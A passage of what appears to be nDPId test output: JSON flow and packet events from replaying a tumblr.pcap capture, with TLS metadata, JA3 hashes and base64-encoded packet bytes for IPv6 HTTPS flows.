69SP3CcLqPnWBgedRblbRGyoV82vdd97gFPkXZO1qmnboJNpdxA2ZM6I1unB1s8jGhxjwXH9BZSiTk9ZT6y476SHb4CPGaicoHr\/aEpV4\/kjLQR641djnfwJpl0dCEmg70xutSLmMvKZBOsuJXg5KLNumRlhamNLuSy8qD2RU0umaBAgw98aVaSIwFdj5D9i\/uCUVMUNGkfqpQ115+5yf+k01jBpe7TQ08odSH8\/sfFrIOD9GdE1r8icmCWevuAglZpXctf1xctz31MpqzeJVG48swdo4T+sGbJVyL3R74de7KQ8i6hiTehFkk3+jDmmBjOK3PiYusyfbzOZrS96vtOwjc+YfYAk8cDXKRXHM99v0KecJaUaEzezGbfpuzu6VOzed5VpmQJ3WGMHIiEftqXLLiqEZ8bU+VIK+4DsKLYDm5wfN2YYWFzlXHZSVVeeuuxoLOtoeR+6qkpcW+e9PznweGuUPVa1jpJc7UYEPIdwNPBXamd6lOqx29IHixD3G6B9E5RPHU5PAwEYkb32Qh90DcD8A1mnn1+68J7R22C3s2crYGHrpVQ8LOD8fuSHZM9OTnIJYi8Ab10lNjUYCdMBVYbVbJDNpLLPlxk9NvTtomFiv0fbCWwoMW3l9uxnq3cMuhE65lx8wADk3NFGGnNyuIy++oCdgttUR44lVC5XmwDT4FQERuuTvz388de\/fdJOoUwWsY6t134An4hTrdzNP8TT4HhBIWCuWHODtUzBikMG43WJVz0xx\/RUvucUnttMmdRghY\/B9H4\/FLX4PnG4gsMMKwZx6ExiXwc9NCzCnRF000rb4ZeNyqFFYL5Fk2FojCjIHwM4eEICdBEQFqIfBcmTaw4w\/ZyUmZsu58CRbO\/cmsW+9f0lmEqW3yX9jqbkd6YtnzloYgmvVFUXU5xAgHklqWqFGDeE0qfQLcm2EPhMcaJFYALj82dzE9ERsa511HZSprD93L8wKdTyW\/WRWoNXQUCURklfC9WX3mfWHAXGWeVB1IhOwdKUzw02HTBh66i+k4KjS3htLO4Kfoq7PfAJhD1AsJIxZSk6KCjwRmPPcP62uTpaMqADSaE6OZKcZLZZAL7ySz\/RUJJzFqClGn98Bdwv2N22j+x3Gec7nFB2Y0mM+2Rgw7c1JxmpafPd+uqgl6VpPOZArNQHaPOZs0652j\/Uua52pavhJf3+uPVzDfzhDuL\/tLEyB6R2HDmMdjP43bL90cG5ZErTTC9vIFooK82OhcGwXEuyl0dGKPdpLA4KeaJOjgexY9PwFmSWi84VgRE4lIeh8Gdu5ciyp+3pkescBOSwgYcQZz76W9Y9tiRDkrPgNchV+w=="} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":574,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":6,"flow_first_seen":1605292105433,"flow_last_seen":1605292105774,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2001:4998:14:800::1001","src_port":47118,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Yahoo","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cookiex.ngd.yahoo.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02332{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":576,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774928,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPSABSZgAFAgAAAAAAAAAEAEqAcsBIEmLB5kd7IUo3\/YpAbu4DgNW1xpgJBmZgBgLMLjIAAABAQgKwt2gGL4D0iqz0uYAkjbRuG2Ouu2SH5W6jXzsDkL6aTNQ4b00smrbfXPdM7+Def8oybtLRoEVxZV5tC32vH2uEp3lJqvTkkwYBml2z+LbxhwvD5REDUKGWDehh6LNSoSzax2PStuTKnyTtB1ofnyhoCrMVXaFmg2R5D8om2TcdAnfAnpFHEgM3nKLsnWVBkZrKIFUc9tjBm1RpWoO8BWMcGPJtuX13uulrizBt\/pL4Ya6H6e0Wf9SC\/L6IhmkO9KjZ1+WJqofVkk1tHZxUsomU+Qv9MUpWZVY0pKs5SD1LiFhg545IlRbSQlrRSDr1Arewib1ismmioqtYbCODrlGENyk59G3CPaHclPXXWglwnZy8mKh0Eok12eAK5QgM6hEcrn+q2NqOco9eVegyV2XDxRGfVGP3CpaZNSjMkw35A6RmSjn2g\/E6AhG8ZdG6lOrQQrQQDl4yuyrjNoJrpWJlzq99NpvE67PZ3PRFaCONH692tYu8xWV7UDbZBaQamr6hlvjeI\/Z5PiOqobmuldpfQIGOgJNmKLWQmqkvFFWXFWDEYQinWOKDU38LPMuo\/XB9bkQsmz+yrSaxutYzyJX6IeGUFBdWR4wsUgTTMt6tdKrmvB9AFthcYwGF9L3yQR5SsubdCBdEW+56lfjrbTmQTIdJqFi9wTqcmy\/ixJIe3GZua1wPtOUtQJGpejR1TOKwsM+gJiWy+I1T+80iLCJT2TglwT9oKjgBhdu15+JHf1t\/vbdEeiKk5rMKJlHVglUKdrSpfkSc+ya5KikxOR\/FsqT5eRXBAgtYR3Rsr9Wvy8dVTPfkbfHZalUMoz3PAshS5H37S0+uJrshYYehCUEASpDRIxE3m8p5sf3aXdDNK6LL0n4JYaOL1CJdB3dG2wyhdmKRnenpw71R1tBIhNvDmYHvNmwNKZJ5bmxlfAIRDhnqRVaBAuTV8i6k6dX74e5cXFHG8I6gLa+iVtjNFFyex2ewDtIDb7rXWOzUqtk6BP1rZ28zG1st6D87rEmQqDpaboaITq5ZAP9zoKZgT1uxow1VctTi4Gx7pPjYne5g8s6T3Yx+3fPkvKZ2mVtwRB4Gd6wZMzOsnBoHhqtt9C9qjm0bYHSHuDnGLhB9lV7So1PeoomKKakpO8GLTNnvWF8jg+pztRrK\/NH5m7RmjGfQTflcGMmo+jBi7YOn7l5q0GIs\/bQ3QJXY+Yxpp5mc8paEKyv+kxc\/BP4ZOAgrQTKrbQrlLWrYP3uGz1PZrBA3A6P4QLfsuOLJIOhMG9QZ3nFhuiAYWyyhmNH2y7BbylErOeFB0Sic4sww\/IAT2DHBn2qALvZNlIcUiO4BPgm2KtGs\/99+CKf9kLW5SrHQGMFeTGuNB\/AirXCtFRy8wrMDHSGJosGcjGvsLMMLCPZe9LTnLTqt9ukYrA+ehHTlNIQ+mAK6ZP16JQmEWcS9Wsa5wKt7vi3A9TH0Uh6P6l6yzg4SfDWwfhiTrENwlLoBqDLfXxd7Wo9jAKGd+Wbx060OXcx\/SG0zBJcPmqoI3qFBaLDxgICxTiG72lSycm+N6g573Hv6LSS9uBy92YGDHrEqKpTcX+xKjpGyuRPG9h8mg1xI+DEIbDVZSe4CvyxY3jJQ0+4VOiOLOkbTTxYkgYj3gkKyFZ8esAqM3KKVoo2n4hSRzADx8v9KJXmcht2jWaggb+zbeBCr5M6h57JpP\/pqZGrvmR6RwM2cEypJ+pRXBY09noS1qQaNxAvD\/v\/FAJdn5DAh4nH7bkKYIwqpmRHT0QW0LYE7rN9q5KI5k6w4f2+nCOwDQ\/f8GZ1gsDKUXboCSOWyKI7fSV2lWjEBVLjyQMwe\/yGDs3ZfW59x7o88v1BXw4Jrg=="} +02254{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":577,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774929,"pkt_caplen":1406,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1406,"pkt_l4_len":1352,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABUgGPSABSZgAFAgAAAAAAAAAEAEqAcsBIEmLB5kd7IUo3\/YpAbu4DgNW3IZgJBmZgBgLMOxgAAABAQgKwt2gGL4D0ipmfj73scMChIKfQOlUqAQhZ47uCIOB6u+zgzF+PfcLM0tEkgUH1IF0oysZpbqY8OO9DwKX7+uWisq4fHq\/GTK8IhfgSmkSD9heQQpJ4PWGHylbaxL8xmFy1asd7hrIipCGWOAfnNw\/HeyUvtPoJhQ6tMjoSwt0D5GK7Oi4oxBsNU1rH94vMMdIfNCf8IeFsCwx19RIMYUHZwozKHlwBTijkks8qulmUN1+oEsJOkiROkv527\/LuMGjqN4RlaKi7bi7ToQM4d3j4yHxwYaAj6pbrs05vKuiXu\/OWKFYNatM9kMOrt2YM3Z+Z78h71i1BDODfTV0dNJik5U\/O5YeF6rXISTI3Pz4gouSam+Z52EICbGNNZG3u79oE\/bzT+IAuB1LDk9OI8acva2eQJmLXxvOMTZN5w+Egx1wR26dIH1Az0bVU+u6UCy4gfFufSyh6sjtSBFxvMXPx+rrTB+nS3\/wt4hYIxylLBYfRbWVAmVl8ESGzUl6p8Mysz1HmHrjm+\/Di\/cvxrIz+PiWGnEYvU7PjgrLzqRvihWeUAhV+20aHqwa6QVUHfRd7p9fITWzQaUYoayk94hyTeJcna+26pd9SsA3MqEkbZ8zdan7WVIS19ANKI7O1p1tfu3SLE8Z\/KDNeiiMREA1j6o8PY\/wTxEGU6YEEwb45zhkNHJJm09yqr2dpYVvd1oG9ZiWoDN4B\/ju5281gqFtLElnJ8PCsbBhHWRLtzS8AvRHMTeasZJ5cObZSC39F14S121mcPtW9R3JAJwqOTWcmmb3STqDOnzAzExkvAPsclU24dzqGN\/IZgI5+\/qDhQ4juDekuyUHv44yAvXjuoe8\/2YeTD0LpJiuYhd0nmmKNZTGsAlVWQ8lIGiQxElZbZoLSBZrZ7ERMm3h4Znh4PxZC1GQg4jLj0mNN5KWsFiW4mAtiqbDAFEpnP69tFOxpL+3VawaH76GTN013SJcfgQovVO6Kt9sduUg6Q5Yg\/fMVXaYfEnkD6y3T2Ce9WvHCBORfj072MOBxT8O5F9sBp4+Eq9xHJtYgyYjvERGdHUbaHmHDuVujkNFI9IP25rzqPkKmvz2ice21Nm6VQthpt7SORj8CZiRyhPWQhiky7arg\/0uKqZ0jte3WjUETZh1JUTuCnw+KxCM24M3L\/+XRT4DkK0Kc201lwQH9hgCj2Jnhy9gr65d\/FPLTdJwR9wm0YHIvCaNuZQxF\/sJ2tX\/y8CNDIyhkzhrqC+79vx\/ykAn\/Zj3Qq0KBKja5pV\/3XMlkB1sK9TvyPvgMNtwukj0eUMiOolnkO2owDbE41vxRwnQoixoBdz9PL2Ymj1U0ur48BhzlXVmpZlPfiTo72x451b87\/2j1pVlevm7NV37QDuKUxLPEGNZJLq8OF+f\/7CAH4oHG2yhcEsRlkmqfcwQuOIf0YoQRXa4\/oXu3wDYdOrfSBlHsBTrd+rLO9xmwika3kHiuLP7g5FM\/XxGQogoh4PldhPXKJ8ZKpeKM4OnI1FF48\/r7Qc3ZO6UzMO6koYi3JTn46LvhrIZWzEc+XT60HknSKUTyiy8c+\/lRJoRk7mCsJCujfP0XIaj9KCUTRwblK+fPx7dlXLR6esmbAsNBA8tEfyO706i4BkJLJayNdVkrwV3ry4HGj\/xr8t\/BPR35aIYRCT9T4aYk5OLe9MOk9uj15k7ZMzprcfTGS\/Sctfwl6am0\/NZkaHPfHiDwvrg8+3+jx6hLmJQy1L0Pa2Vtt+HvlWA+JXTyYCqSTWJPf9LozM="} +00453{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":579,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774942,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGZkDVtcagBAB9avCAAABAQgKvgPTZcLdoBg="} +00454{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":581,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774952,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGZkDVtyGgBAB8KZbAAABAQgKvgPTZcLdoBg="} +00454{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":582,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774953,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGZkDVuGugBAB6aE6AAABAQgKvgPTZcLdoBg="} +01255{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":584,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774960,"pkt_caplen":674,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":674,"pkt_l4_len":620,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAmwGPSABSZgAFAgAAAAAAAAAEAEqAcsBIEmLB5kd7IUo3\/YpAbu4DgNW4a5gJBmZgBgLMBA9AAABAQgKwt2gGL4D0irbgjpSXBnoxysqGfRvhYm1S4uXbUWn2gr8HRuvUgLIZotx2sd6S6Tl3jOS+ByJJtL+ZX2fsh\/+ycrEKXHes8l5ei5q0hOcMsEhPOZk1Cjdeftp4yiRyMry2Sr1HlTGEnA3AXDm3oteV3BM6THd0ABKOPP5bhsW5I+laVtnpwFtL79mXve\/qL81AoWfoU3wPKp1wPGHwObMieOEV5c6SGnjGnbBK6\/oR2ic88Ars11CfZePx9Se3s1Tn\/uBDBeCi59q4qJ5YduaJpHcMjunf0RBDu5YPLXi0wM1r7A2PFZmrEa75aOUXKQf4e02VqALBAtq1cJLBAMVcfWLJmlzR\/\/ah2Gzz6ZlsY6T9P0QlqvpDGtcrZXmiUj7MhUjdFeknQoH2P5atDKeiioM0MfKp\/gW8AFSosey\/oA5wRyY5mfiJyGMa63jwYVxbdTvZ2duyXIVeuQH2ti8lOuD5LHUlPWh5khbw0Y9+KBwb0rzbioFFWPkEeh\/4E\/CL3Qv3l319WKRtHt\/OPSYggbID17YiWNglOgwpMTupjKyM84E+MC84C\/h0C5PLUfWsGTV9QIXAwMAYOPVb3Vl21sxb6KDPw8m3tqXwobCNERukqoyII96uutC12g1xT7hYL9HmQC+DhKQNXZYa0AU35GnG4uGHIz9rVrlcd368uHmjLmu+xRG0WfDE+4uGgx07CBuZGe4z1q71xcDAwA1OkKRXy\/nX31q0Mo19l9KycP8sOEXO2h1zYbX+JJHfAyORYna89tnkiE8gPKiwguJURf5dao="} +00454{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":586,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":774962,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCACAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGZkDVuP6gBAB5Z7yAAABAQgKvgPTZcLdoBg="} +00542{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":615,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":777622,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCAGAGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGZkDVuP6gBgB9S8GAAABAQgKvgPTaMLdoBgUAwMAAQEXAwMANdVrvX00KotTHgkfm0km0tAoq\/4e64lqnMI2dnDtaJbFi\/lCdVorR2ah4XiyaxL1ThiRvLfk"} +00583{"flow_id":13,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":621,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":777770,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gCUBCAHwGQCoBywEgSYsHmR3shSjf9ikgAUmYABQIAAAAAAAAABABuA4Bu2AkGdkDVuP6gBgB9cRXAAABAQgKvgPTaMLdoBgXAwMAVy5va6yjTxoFWtLe+IvSvoq31vBNFJs5DP0ecaGTYcF+M\/9nw9EBBmThOfxBLrragHuToDpHPqqu+28Dtz7yyomlDRC6Xs9aVkF2eabsdAis\/8450zlYSQ=="} +00621{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":721,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":789000,"pkt_caplen":205,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":205,"pkt_l4_len":151,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAJcGPQBk\/5sAAAAAAAAAAMAATAMqAcsBIEmLB5kd7IUo3\/YpAbvKotlMl6u56Z9\/gBgLh4oBAAABAQgKwt2gIiyJ4k4XAwMAcvJ676RsxXZ5oBs6OGzQqykqUEr3Z5TFSkZKsLr3jmM2YiVsojp\/iKfkn4WsVwk6xE+3pYlY7baFutWk3YOJdUe42QIFmRoIaWPZHUxxJ72tc0a\/9w3XW4cb6EZieEibCx4fYcBpRjmfe8aHsBh0yypXqQ=="} +00510{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":722,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":789000,"pkt_caplen":125,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":125,"pkt_l4_len":71,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAEcGPQBk\/5sAAAAAAAAAAMAATAMqAcsBIEmLB5kd7IUo3\/YpAbvKotlMmCK56Z9\/gBgLh3XIAAABAQgKwt2gJiyJ4k4XAwMAIuIP5n5zdg3vwwgJWEqXoU9oSITck2Fnmb8jYDK18OCChTk="} +00454{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":727,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":789015,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYNxACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAEwDyqIBu7npn3\/ZTJgigBAB9Rp4AAABAQgKLInijMLdoCI="} +00454{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":728,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292105,"pkt_ts_usec":789017,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBYNxACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAADAAEwDyqIBu7npn3\/ZTJhJgBAB9RpNAAABAQgKLInijMLdoCY="} +00547{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":731,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":255,"flow_first_seen":1605292105669,"flow_last_seen":1605292105789,"flow_tot_l4_data_len":153848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":603,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d03","src_port":56794,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00548{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":731,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":255,"flow_first_seen":1605292105669,"flow_last_seen":1605292105789,"flow_tot_l4_data_len":153848,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":603,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d03","src_port":56794,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00547{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1013,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":255,"flow_first_seen":1605292105171,"flow_last_seen":1605292105998,"flow_tot_l4_data_len":155628,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":610,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d28","src_port":43434,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00548{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1013,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":255,"flow_first_seen":1605292105171,"flow_last_seen":1605292105998,"flow_tot_l4_data_len":155628,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1432,"flow_avg_l4_data_len":610,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::c000:4d28","src_port":43434,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2777,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1605292108746,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56582,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2777,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":746966,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3wyDoZi2igBBBsd06AAABAQgKqXtZHsLc+wU="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2778,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1605292108746,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56564,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2778,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":746999,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwVJeVyjqfgBBI2yKLAAABAQgKqXtZHsLc+ww="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2779,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1605292108747,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56594,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2779,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":747008,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDu9XACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3RIBuyQ3N5hBwa5pgBAB9TOKAAABAQgKqXtZHsLc+w0="} +00507{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2780,"source":"tumblr.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1605292108747,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56578,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2780,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":747015,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOpKNiTUmPgBAFOCVEAAABAQgKqXtZHsLc+ww="} +00456{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2790,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":789015,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvdBuhmLaKJd8MhgBAN560UAAABAQgKwt2r5al1DDM="} +00457{"flow_id":17,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2796,"source":"tumblr.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605292108,"pkt_ts_usec":796001,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JXKOp\/xMFSYgBAPnfW6AAABAQgKwt2r7Kl1DlE="} 